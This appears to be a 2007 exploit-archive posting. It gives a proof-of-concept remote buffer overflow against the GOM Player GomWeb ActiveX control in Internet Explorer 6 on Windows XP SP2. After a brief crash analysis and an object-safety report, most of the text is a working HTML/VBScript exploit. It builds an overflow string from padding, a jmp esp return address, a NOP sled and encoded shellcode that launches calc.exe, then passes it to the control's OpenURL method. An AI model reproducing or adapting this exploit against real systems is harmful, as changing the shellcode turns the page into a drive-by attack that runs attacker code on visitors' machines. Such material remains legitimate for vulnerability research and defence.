gomplayer-overflow.txt
Posted on 30 October 2007
<!-- GOM Player 2.1.6.3499 GomWeb Control (GomWeb3.dll 1.0.0.12) remote buffer overflow poc exploit (ie6/xp sp2) quote from Wikipedia: "GOM Player(Gretech Online Movie Player) is South Korea's most popular media player; as of July 2007, it had 8.4 million users, compared to 5.4 million of Microsoft's Windows Media Player. Users most commonly use the player to watch pornography..." mphhh ... passing more than 506 "A" to OpenUrl method: EAX 00000000 ECX 7C80240F kernel32.7C80240F EDX 7C91EB94 ntdll.KiFastSystemCallRet EBX 00000000 ESP 0012CDD0 ASCII "AAAAAAAAAAAAAAAAAA... EBP 0012DE08 ESI 003390B0 EDI 0000102A EIP 41414141 object safety report: RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data IPersist Safe: Safe for untrusted: caller,data IPStorage Safe: Safe for untrusted: caller,data software site: http://www.gomplayer.com/main.html rgod site: http://retrogod.altervista.org --> <html> <object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='GomManager' /></object> <script language='vbscript'> //open calc.exe scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") eip = unescape("%67%31%41%7e") 'jmp esp kernel32.dll nop = String(48, unescape("%90")) sURL=String(506, "A") + eip + nop + scode GomManager.OpenURL sURL </script> </html>